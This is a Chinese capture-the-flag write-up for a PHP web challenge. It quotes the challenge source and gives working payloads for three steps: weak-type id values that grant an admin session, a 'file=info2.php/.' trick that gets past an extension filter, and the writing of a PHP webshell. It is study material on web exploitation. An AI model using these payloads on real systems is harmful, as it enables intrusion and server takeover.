工控云管理系统项目管理页面解析漏洞
题目描述
工控云管理系统项目管理页面解析漏洞
题解
题目页面很炫酷,尝试点击按钮发现出来”业务管理->项目管理“以外其他的都点不了
01.png 02.png尝试随便输入数据,点击提交,发现没反应,但是这边可以查看源码,应该是代码审计的问题,有三部分php代码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
第一部分简单重定向,直接访问index.php不带page参数就会重定向到?page=flag.php,下图可以清晰看到302重定向
03.png<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
这边就是一个文件上传漏洞,对文件名做了一定的过滤,严重通过以后,切换到uploaded目录下,写入backup/XXX,实际就是uploaded/backup/XXX
这里我尝试了很多方式上传,但是上传的文件很多都不能解析为php,也上传了.htaccess也无法解析,这边使用"/."绕过上传限制
con=<?php phpinfo();?>&file=info2.php/.
成功上传info2.php 也可以顺利执行,用这种方式再次写入一句话木马即可
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
只要if (isset(_GET[id]) !== '1' && substr($_GET[id], -1) === '9')为True,而且下面的sql语句要正确执行,即可得到admin的session ,这边可以使用的方式有很多
* 使用 ; id=1;9
* 使用 # id=1%239
* 使用 --+ id=1--+9
* sql弱类型 id=1a9
floatval函数用于获取变量的浮点值。 : https://www.runoob.com/php/php-floatval-function.html
总结
- Apache PHP解析漏洞
- sql弱类型
网友评论